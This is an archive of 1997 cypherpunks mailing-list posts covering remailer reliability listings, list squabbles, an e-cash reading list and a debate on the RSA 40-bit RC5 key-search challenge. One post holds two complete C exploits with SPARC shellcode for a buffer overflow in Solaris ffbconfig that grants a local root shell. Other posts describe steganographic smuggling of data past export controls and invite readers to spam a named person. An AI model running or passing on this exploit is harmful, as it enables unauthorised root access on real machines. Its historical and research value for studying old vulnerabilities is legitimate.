Codebreakers. The delay from mid-December was almost entirely caused by banking issues. Money transfers are not as fast or cheap as I think they should be in 1997. Gary tells me he may in future get equipped to take credit cards. His catalogue contains stuff sure to interest anybody with plenty of time. Here is his comment: > NOTE: An additional benefit of ACA membership is eligibility for discounts > on a selection of new (unused) books on the history and practice of > traditional ciphers, codes, and signals intelligence from Classical Crypto > Books. For a free catalog, send email to RagyR at aol.com. -- Peter Allan peter.allan at aeat.co.uk From jya at pipeline.com Mon Feb 10 05:27:54 1997 From: jya at pipeline.com (John Young) Date: Mon, 10 Feb 1997 05:27:54 -0800 (PST) Subject: Who's Censoring Who? Message-ID: <1.5.4.32.19970210132200.006d51bc@pop.pipeline.com> To Thorn and Cuckoo (great juxtaposition): Your exhortation and rhetoric are deft, but I'm not ready to take sides just yet. In fact, I can't figure what the sides are, if any, in this anti-herd of caterwauling anarchic cats. Instead, I'm relishing and laughing at the spitting and farting contest, and hoping this gameboying will prepare for the genuinely tough battles in high stakes info-wargames. There, wipe and sniff that exhort and rhet. From osborne at gateway.grumman.com Mon Feb 10 06:30:20 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Mon, 10 Feb 1997 06:30:20 -0800 (PST) Subject: Modified Clipper chip - HA! Message-ID: <3.0.1.32.19970210092916.00944490@gateway.grumman.com> For all of you who didn't see the last X-Files ... Mulder made a visit to The Lone Gunman about breaking into some impenetrable system. Byers points out that "Yeah, that system is pretty hard to get into." Mulder then inquires "well how did you guys get in?". Byers replies cooly: "We used a modified Clipper chip we bought back from the Chinese." I didn't stop laughing for 5 minutes ... :) _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ "Women. You can't live with 'em. . . and yet they're everywhere." From dthorn at gte.net Mon Feb 10 06:36:34 1997 From: dthorn at gte.net (Dale Thorn) Date: Mon, 10 Feb 1997 06:36:34 -0800 (PST) Subject: Who's Censoring Who? In-Reply-To: <1.5.4.32.19970210132200.006d51bc@pop.pipeline.com> Message-ID: <32FF3159.4D65@gte.net> John Young wrote: > To Thorn and Cuckoo (great juxtaposition): > Your exhortation and rhetoric are deft, but I'm not ready to take > sides just yet. In fact, I can't figure what the sides are, if any, in this > anti-herd of caterwauling anarchic cats. > Instead, I'm relishing and laughing at the spitting and farting contest, > and hoping this gameboying will prepare for the genuinely tough > battles in high stakes info-wargames. > There, wipe and sniff that exhort and rhet. I don't want to make any suggestions about having a clue or whatever, but just in case you didn't know, John, I'm not censoring anything, nor is cuckoo, nor is Dr. Vulis, nor are 1300-plus other subscribers to this list. It is all being done by a central "authority". Now you can't figure out who's on what side? Or you just can't decide who to line up with? In case you hadn't noticed, the censorship has been admitted a failure, although the denial from the central "authority" is so thick that some folks on the list will be hoping for Santa to come save them for some time to come. From raph at CS.Berkeley.EDU Mon Feb 10 06:50:24 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Mon, 10 Feb 1997 06:50:24 -0800 (PST) Subject: List of reliable remailers Message-ID: <199702101450.GAA02197@kiwi.cs.berkeley.edu> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{"extropia"} = " cpunk pgp special"; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{'alpha'} = ' alpha pgp'; $remailer{'nymrod'} = ' alpha pgp'; $remailer{"lead"} = " cpunk mix pgp hash latent cut ek"; $remailer{"exon"} = " cpunk pgp hash latent cut ek"; $remailer{"haystack"} = " cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = ' newnym pgp'; $remailer{"balls"} = " cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{'cyber'} = ' alpha pgp'; $remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle ?"; $remailer{'weasel'} = ' newnym pgp'; $remailer{"death"} = " cpunk pgp hash latent post"; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = " cpunk mix pgp. hash latent cut"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 10 Feb 97 6:46:24 PST remailer email address history latency uptime ----------------------------------------------------------------------- nym config at nym.alias.net **-#+*#*#*## 1:59 100.00% jam remailer at cypherpunks.ca ****** 8:22 99.98% wazoo remailer at wazoo.com *+++++ 33:48 99.97% weasel config at weasel.owl.de ++++++-++++ 1:05:51 99.84% lucifer lucifer at dhp.com ++++++++++++ 37:45 99.78% dustbin dustman at athensnet.com ----+-- .+++ 2:42:13 99.65% balls remailer at huge.cajones.com +-- **### *# 2:12 99.60% cyber alias at alias.cyberpass.net ++*+++*** *+ 30:13 99.59% haystack haystack at holy.cow.net *#-+###*##* 4:06 99.42% squirrel mix at squirrel.owl.de ++ +++-+ ++ 1:05:29 99.26% exon remailer at remailer.nl.com #* * ## **# 1:21 99.18% middle middleman at jpunix.com ---+-. +++ 2:51:34 98.78% replay remailer at replay.com +-***+*---+* 27:45 98.57% extropia remail at miron.vip.best.com .- ------- 4:46:55 98.08% reno middleman at cyberpass.net --+- .++ 1:27:14 96.63% mix mixmaster at remail.obscura.com +_ __.-*+ 22:42:38 93.53% winsock winsock at rigel.cyberpass.net ----.--- + 5:48:14 75.89% shaman mix at mix.nymserver.com 2:46 9.00% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From osborne at gateway.grumman.com Mon Feb 10 07:28:38 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Mon, 10 Feb 1997 07:28:38 -0800 (PST) Subject: You guys/gals oughta get a kick outta this guy Message-ID: <3.0.1.32.19970210102744.0092dea0@gateway.grumman.com> Yet another person who needs a good stern talking to by the nearest cypherpunk --- this guy posted to comp.lang.perl.misc with the following blasphemy, which I luaghed at until I had tears in my eyes. --BEGIN COMPLETE STUPIDITY-- I want to make it executable to protect the source code from being read. I don't want the source code available because I don't want people looking for security holes. --END COMPLETE STUPIDITY-- If anyone wants to spam this guy, or at least show him the error of his ways, his sig explains the necessary info: David K. djk490s at nic.smsu.edu _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ If the ionization rate is constant for all ectoplasmic entities, we could really bust some heads! In a spiritual sense, of course. From skipo at sundy.cs.pub.ro Mon Feb 10 09:30:06 1997 From: skipo at sundy.cs.pub.ro (Cristian SCHIPOR) Date: Mon, 10 Feb 1997 09:30:06 -0800 (PST) Subject: Security hole in Sloaris 2.X ffbconfig + exploit Message-ID: Mon Feb 10 15:58 EET 1997 Romania "Buffer Overflow" rules. I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow you to gain root access on your machine. I used an exploit written by Jeremy Elson for gethostbyname() buffer overflow hole (I modified some values to make this work). I dont now yet what in ffbconfig is wrong but Im still diging. So more detailes later. Here's the exploit for Solaris 2.X: ---------------------------------- first ------------------------------------- /* This works on Solaris 2.5 wiz /usr/sbin/ffbconfig */ #include #include #include #include #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------ end of "ffbcexp25.c" -------------------------------- -------------------------------- second -------------------------------------- /* This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5 */ #include #include #include #include #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------------ end of ffbcexp24.c ----------------------------- Cristian Schipor - Computer Science Faculty - Romania - Bucharest Email: skipo at math.pub.ro or skipo at ns.ima.ro Phone: (401) 410.60.88 PS: "special for STFP" From 3bmice at nym.alias.net Mon Feb 10 10:08:59 1997 From: 3bmice at nym.alias.net (Three Blind Mice) Date: Mon, 10 Feb 1997 10:08:59 -0800 (PST) Subject: New X-Ray Imager Message-ID: <19970210180856.27779.qmail@anon.lcs.mit.edu> On Tue, 4 Feb 1997, Igor Chudov @ home wrote: > Let's remember though that perception of security applies not > only to passengers, but also to potential terrorists. If they *think* > that they would not be able to bring a bomb easily, they would be less > inclined to do so. Do you seriously believe that a terrorist who wishes to take an explosive device on board a plane fears the security of an airport? It's not possible to put such a thought into anyone but a prole; we are not proles, and they are not proles. The real effect and intent is obvious. --3bmice From rah at shipwright.com Mon Feb 10 11:20:47 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 10 Feb 1997 11:20:47 -0800 (PST) Subject: Interesting ressource Message-ID: --- begin forwarded text X-Sender: leroux at mail.vdl2.ca Date: Mon, 10 Feb 1997 13:05:08 -0500 To: dcsb at ai.mit.edu From: Philippe Le Roux Subject: Interesting ressource Mime-Version: 1.0 Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: Philippe Le Roux The IEEE published a special issue of Spectrum (http://www.spectrum.ieee.org/contents/) about digital commerce and ecash. This is the index : Electronic money: toward a virtual wallet By Tekla S. Perry Hard currency is disappearing from many everyday transactions along the road to electronic money. Future of electronic money: a regulator's perspective By Edward W. Kelley Jr. The way electronics will fit into the evolution of money--from acting as a niche player to wreaking major changes in payment systems--has yet to be determined. Credits and debits on the Internet By Marvin A. Sirbu CyberCash, First Virtual, GC Tech, NetBill--these and other systems have been developed to enable electronic transfers of payments across the Internet. 'Minting' electronic cash By David Chaum & Stefan Brands Electronic cash can offer transaction privacy to honest users, affords convenient storage and transportation, and protects against loss. Traceable e-cash By Peter S. Gemmell One method of making electronic cash transactions private for honest users but traceable by law enforcement agencies involves the use of trustees. Crime and prevention: a Treasury viewpoint By Stanley E. Morris The speed and anonymity of electronic payment systems make them attractive to those pursuing illicit activities. Locking the e-safe By Robert W. Baldwin & C. Victor Chang Existing encryption-based security mechanisms can be combined to minimize a wide range of threats to electronic commerce. In your pocket: smartcards By Carol Hovenga Fancher A wallet full of cash, credit, and identification cards may, in the future, be replaced with two or three smartcards, each containing an IC, as a recent flurry of market tests and smartcard rollouts demonstrates. Banking in cyberspace: an investment in itself By Michael C. McChesney While home banking has been around for some time, Internet banking is a new concept, and has a number of advantages. Technology takes to securities trading By Steven M. H. Wallman >From stock offerings conducted entirely over the Internet, to the automation of traditional exchanges, technology is changing the way stock markets work. Nasdaq's technology floor: its president takes stock By Alfred R. Berkeley III This screen-based stock market has been particularly sensitive to the effects of new computer and communications capabilities. The economics of e-cash By Mike Ter Maat Electronic cash can create profits for its issuers, and launch competition for today's government-controlled currency systems. Money and the Internet: a strange new relationship By Howard Anderson This visionary sees the e-money revolution as inevitable, with "e-mail for money" becoming as ubiquitous in the future as e-mail messages are already today. *PLR! ------------------------------------------------------------------------------ Philippe Le Roux Associe de V(DL)2 Inc. Membre du SCIP (Society of Competitive Intelligence Professionals) Co-Auteur d'Internet Secrets (IDG - 95) Chroniqueur a Benefice.Net -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i Comment: Requires PGP version 2.6 or later. mQBNAjLyVpEAAAECAKiVNKY2l2moieX3JsvrXKSvHqwF0Hq24cKh1p1VDaFEwWPs /C6fMmo47FZIpV6xC/uRBiHVfW5d26AvJz1Ww7EABRG0IVBoaWxpcHBlIExlIFJv dXggPGxlcm91eEB2ZGwyLmNhPokAVQIFEDLyVpHboC8nPVbDsQEBtwcB/An4zBwC g9e1lFsVhVgmplxfUYAv3T7D7fAdCTeD51cJjns+Yh/3MoZQa7zns0BQFtRLoInL HY4WrDBs9wSXZ70= =tEnk -----END PGP PUBLIC KEY BLOCK----- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB at ai.mit.edu --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle From nobody at REPLAY.COM Mon Feb 10 11:45:03 1997 From: nobody at REPLAY.COM (Anonymous) Date: Mon, 10 Feb 1997 11:45:03 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? Message-ID: <199702101916.UAA27175@basement.replay.com> [Excerpts from Winn Schwartau's 2/9 "InfoWar Digest," with responses to Paul Strassmann's diatribe on the RSADS Secret-Key Challenge. Burt Kaliski, Tim May, Padgett Peterson -- among others -- toss in their two bits. Longish. [FYI: RSADS still has 12 open Challenges pending, offering cash rewards for anyone who can decrypt 56-bit DES -- or any of eleven _other_ RC5 cyphertext samples, encrypted with keys of varied lengths, ranging from 48-bit through 128-bits. Details somewhere on the RSA site: ] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From: Burt Kaliski To: "'infowar at infowar.com'" Subject: Further to Goldberg's Cracking Accomplishments Date: Wed, 5 Feb 1997 13:58:53 -0800 Paul A. Strassmann quoted a UC Berkeley press release on Ian Goldberg's successful effort to discover the unknown 40-bit key to an RC5 ciphertext offered in the RSA Data Security Secret-Key Challenge, and raised a number of justifiable concerns about whether a contest like the Challenge is an appropriate measure of the security of a 40-bit encryption algorithm in an InfoWar environment. >>As I suspected (see earlier private comment), the >>highly promoted RSA cracking contest offered >>a number of clues that ordinarly would not be >>volunteered by info-terrorists or info-criminals to >>IW Defense teams. >> >>These clues made the cracking significantly easier, >>because it made it possible to eliminate an enormous >>range of possible searches. Mr. Strassmann is a well known scholar of the InfoWar threat environment. I am not, so I cannot address those specific concerns directly -- but I would like to offer some rationale as to why the Challenge was structured as it was. The RSA Data Security Secret-Key Challenge , started last week, is an open contest sponsored by RSA Laboratories that offers cash prizes for the successful recovery of encryption keys for the DES and RC5 block ciphers. Following the model of the RSA Factoring Challenge which for several years has provided an assessment of the security of the RSA public-key algorithm at various key sizes, the Secret-Key Challenge is intended to measure of the security of secret-key algorithms at various key sizes. As was the case with the Factoring Challenge, full details of the algorithms and key sizes are provided. In addition, three plaintext-ciphertext pairs (the ciphertext encrypted with the key of interest) are provided for each key to be recovered. Last week, the first of the keys in the Challenge, a 40-bit RC5 key, was recovered by Ian Goldberg, a U.C. Berkeley graduate student. His effort involved about 250 workstations and took 3.5 hours. When I called Mr. Goldberg to congratulate him in a teleconference during the RSA Data Security Conference last week, he explained that he had discovered the valid key with a search of about 350 billion keys, using a university computer network to search at a rate of 100 billion keys/hour. There are about 1 trillion 40-bit keys, for any algorithm. Mr. Goldberg's search method involved simple brute-force; that is, the known plaintext was encrypted with each key, and then compared to the available ciphertext, looking for a match. The overall effort was essentially what was expected for the 40-bit key size, and as one would expect, the recovery of a key for the other RC5 key sizes (from 48 bits to 128 bit), or for DES (56 bits), will involve much more work. With the same "brute force" method employed by Mr. Goldberg last week, one would expect a 256-fold increase in effort for each eight-bit increase in key size. Special-purpose hardware may reduce the actual time, of course, but the total number of possible keys to be tested will grow at that rate. Mr. Strassman expressed concern as to whether the successful recovery of a 40-bit key in 3.5 hours is a realistic measure of the strength of 40-bit keys in an InfoWar environment, where full details of the algorithm and plaintext blocks are not necessarily known. Again, not being acquainted with the threat environment, I cannot address his concerns directly. Nevertheless, RSA Laboratories does consider this type of contest to be appropriate as a general measure of cryptographic strength -- for RSA's products and those of any other vendor in the international crytographic community. The information provided to RSA Secret-Key Challenge contestants is no more than is common and conventional for any open contest to test the strength of a cryptographic algorithm. These conventions have evolved within the international community of cryptographers seeking, on the basis of several acknowledged principles, to develop common criteria for measuring the relative strength or security of any particular cryptographic algorithm with a given key size. Our rationale for the structure of the Challenge is reflected in the following observations: * Knowledge of the algorithm and key size (as per Kerchoffs' principle), as well as the availability of known plaintext, are standard assumptions in modern cryptanalysis. Since an opponent may obtain this information eventually, it is preferable not to rely on its secrecy when assessing cryptographic strength. * The implementation of large-scale key-search engines is simplified under the standard assumptions. This makes the contest accessible to a wider variety of contributors, than if we required contributors to know, for instance, a particular language, or language statistics, or other characteristics of the plaintext. (Perhaps another challenge where we didn't provide plaintext samples would be a worthwhile follow-up.) * In practice -- even if the plaintext is not known -- significant information about it is likely to be, such as character distributions (ASCII, English), header values (e.g., BER tag and length), or padding. The cost (in time, effort, and computing resources) of a key search with even a small amount of information of this kind is not significantly more than the cost with known plaintext. For instance, if it is known that the characters are represented in ASCII, for instance, then one can decrypt available ciphertext with each key and check that the recovered plaintext follows ASCII conventions (most significant bit of each byte 0). The chance that an incorrect key produces plaintext that passes the test is 1/2^k where k is the number of plaintext bytes recovered. This means, for example, that of 2^40 keys tried, we expect only 2^32 to pass the check for a single eight-byte block. The 2^32 keys must then be tested further against other ciphertext blocks. So instead of 2^40 encryptions -- as in the case when the plaintext is known -- a cryptanalyst would need to search within 2^40+2^32+2^24+2^16+2^8+1 (roughly) keys, to find the correct key. But this represents an increase in effort of less than 0.5 percent. RSA Laboratories appreciates the InfoWar Community's interest in the RSA Data Security Secret-Key Challenge, and Mr. Strassmann's comments in particular. We look forward to further suggestions and critiques of our efforts. -- Burt Kaliski >Chief Scientist >RSA Laboratories ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Mon, 3 Feb 1997 21:42:24 -0800 To: infowar at infowar.com From: "Timothy C. May" Subject: Re: Infowar Digest Volume 02: Number 04 - Crypto and Goldberg I seldom read your newsletter carefully. I did tonight, and discovered two of the items you included contain serious errors. (Of course, as a strong advocate of "infowar" I suppose I'm pleased to see your subscribers in the government misled by these errors...it makes our job a little easier in the long run.) >To: infowar at infowar.com >From: Patrick Galley Subject: New crypto attack >Date: Mon, 27 Jan 1997 07:56:39 +0000 > >Hello > >A friend of mine told me to look at the WWW site "John Douglass' >CryptoMaverick Page"). > >There I've found a paper from John Douglass which says that if RSA >products are sold worldwide it because there is a backdoor inside. He >said the same thing for DES and PGP. ..... >If this guy is right. It would be better for is security that everybody >knows the truth. > >I think it would be nice if you could look at this doc and talk about it >in infowar.com. I looked at the site and it's a mixture of conspiracy theory rantings and misinformation. As to the security of various RSA algorithms (and PGP, for example), the security of many of these algorithms lies in the publishing of the source code, with digital signatures on the released binaries to allow independent verification. If a real security hole is found in, say, PGP or Netscape, expect it to be publicized loudly and quickly. (Indeed, certain flaws have been found, and quickly publicized. The same Ian Goldberg involved in later message was one of those who isolated a flaw in the random number generator used in an earlier version of Netscape.) The web site mentioned here doesn't cut it, and this message here is just more "disinformation" (itself a part of infowar, so I guess the author is practicing his skills). >Date: Thu, 30 Jan 1997 20:10:36 -0500 >To: "Wright Larry" >From: "Paul A. Strassmann" >Subject: Further to Goldberg's Cracking Accomplishments >Gentlemen: > >As I suspected (see earlier private comment), the >highly promoted RSA cracking contest offered >a number of clues that ordinarly would not be >volunteered by info-terrorists or info-criminals to >IW Defense teams. Paul Strassmann is simply missing the central point of cracking the 40-bit export-allowed version. It is not based on a known plaintext attack, but on exhaustive search of the 40-bit keyspace. What Goldberg and his colleagues who contributed CPU time on the "NOW" (Network of Workstations) did was to search approximately 100 billion keys per hour. As there are about a trillion keys in the 40-bit keyspace, it was a foregone conclusion they would find the key within 10 hours (modulo any screwups at their end), with about half the time being the most likely time. As it was, they found the key a tad bit early, by the luck of the draw (so to speak). RSA certainly knows how long it takes to brute force the keyspace. They just didn't know who would find the key first. (And at least one other group reported a solution within minutes of Goldberg's report.) So, Paul is simply throwing disinformation--or lack of understanding--into the air by claiming that this crack does not mean a 40-bit key is "weak." Simply put, it is. Anyone who looks at the math understands this. The keyspace is simply too small for real security. (Does the NSA use 40-bit keys? Of course not. Hmmmhhh.) As the select panel of cryptographers empaneled to study key lengths concluded, 56 bits is already too weak, 80 bits is better and should be adopted forthwith for export, and >96 bits is preferable. As an "infowarrior" of sorts myself, I can assure you that we don't give a hoot in hell what the regs say is "allowed." When any tourist on his way to Europe can carry as many CD-ROMSs and DAT tapes in his luggage as he wishes, with absolutely no "exit checks," who really cares what the "export laws" allow? (I carried 5 gigabytes of data, some of it crypto-related, to a meeting with cryptographers and crypto anarchists in Monte Carlo a while back. Obviously I was not searched or even glanced at on my way out, nor on my arrival at Charles de Gaulle airport, etc. Only upon my return to San Francisco was I asked what my business had been. The Customs Officer gave me a blank look when I told him I was meeting with cryptographers in Monte Carlo (I told him the truth, knowing I was breaking no laws whatsoever). He had no idea what I was talking about, and was bored. He then asked me if I was bringing back any stuff I bought in shops over there. "No," I told him. He just waved me through.) Not to mention the ease with which stuff is shipped out over the Internet. (I made a bet a couple of years ago that each major new cipher would arrive at offshore non-U.S. sites within 3 hours of release in the U.S. Remailers make it so easy to bounce stuff around.) And of course I was the one in 1988 who first proposed the now-popular method of using the least significant bits (LSBs) of CDs and DATs filled with music, and LSBs of GIF images, to transparently export megabytes of data undetectably. (To any sniffers, the LSBs are formally and statistically identical to the ordinary noise of microphones and recording electronics.) A normal 2-hour DAT tape of a recording I made off the radio or off of one of my CDs can carry 160 megabytes of "data" riding in just the LSBs alone. That's equivalent to 16 copies of the Bible, or a significant chunk of the B-2 Stealth bomber CAD database. I'd like to see your list get involved in more accurate and less scare-mongering discussions. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 00:52:28 -0500 (EST) From: "Craig H. Rowland" To: "Betty G. O'Hearn" Subject: RSA > Date: Thu, 30 Jan 1997 20:10:36 -0500 > To: "Wright Larry" > From: "Paul A. Strassmann" > Subject: Further to Goldberg's Cracking Accomplishments > Gentlemen: > > As I suspected (see earlier private comment), the > highly promoted RSA cracking contest offered > a number of clues that ordinarly would not be > volunteered by info-terrorists or info-criminals to > IW Defense teams. > > These clues made the cracking significantly easier, > because it made it possible to eliminate an enormous > range of possible searches. You are talking about implementing security through obscurity. You can never assume that an enemy does not know what security precautions are in place to protect information, or in this case, what cipher you have chosen to protect your data. The security of your in-place mechanisms should be able to stand on their own merits under a worst case scenario of full public disclosure. > > The following was extracted verbatim from the > > posted on : > > Clue #1: > > " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge > will use > 12-round RC5 with a 32-bit word size. " > > Clue #2: > > " ...The first RC5 contest will consist of some unknown plaintext > encrypted using a 40-bit key;." > > Clue #3: (a giveway!) > > " ... For each contest, the unknown plaintext message is preceded by three > known blocks of text that contain the 24-character phrase "The > unknown message is: .....". Let me address 1, 2, and 3 all together as they all suffer from the same flaw in logic as discussed above. First, the ciphers in this contest includes more than RC5, the main point of the contest is not to illustrate the security of a particular cipher from cryptanalytic attack, but rather to show that key lengths that are too short are insecure against a brute force attack. The fact that the cipher is known does not affect the overall purpose of the contest. Second, you are again assuming the cipher is unknown by your enemy. Suppose you are a financial institution, I can be almost 100% assured that your communications are protected with DES as the cipher. If I can discover what equipment you are using and what modes the cipher runs in (CBC, ECB, etc) I can then attempt a similiar brute-force attack using the widely available DES specifications. Commercial organizations using exportable software systems suffer the same fate. You are also assuming that a mathmatical analysis of the encrypted data stream will not reveal what cipher is being used. Various statistical attacks could reveal key pieces of information that could quickly unveil what cipher you are using and what mode it is being run in. Third, just because part of a message is known does not mean the contest is invalid. Many network communication protocols use a fixed set of characters to establish and end communication sessions. An attacker, aware of how the protocols work, can often discern what a message may contain when it is initiated. An example of this could include SMTP traffic which includes a standard set of protocol keywords, or an electronic funds transfer which includes unique bank identification numbers or other similar data. This is called a known plaintext attack and is very common. > > In summary: The claim of exportable cryptography being totally > insecure, because it can be cracked in 3.5 hours is not > realistic. The three clues announced in the contest > would not apply under infowar conditions. Again, this is not correct. You are assuming total ignorance by the enemy which is rarely the case. > > What other clues may have been provided to Goldberg > to support private agendas and gain shrill headlines > is also a matter of speculation, but I rest my case. Why does one even need a "clue" about this key size? It should be obvious to anyone remotely educated/interested in the field of cryptography that the reason the NSA limits exportable key length to 40 bits or less to begin with is so they can do the same thing at Ft. Meade on their internal computers that was done here publically. The whole debate over exportable encryption rarely rests on the cipher, but rather on the *length* of the keys used. This *alone* should be enough to convince the reader that key length is in fact a very vital issue for both the NSA and the Internet community. > I certainly cannot assert that a 40 bit key cannot be decyphered. > However, I do not think that the RSA unqualified claims > offer full and appropriate disclosure. Nonsense..RSA sells cipher technology 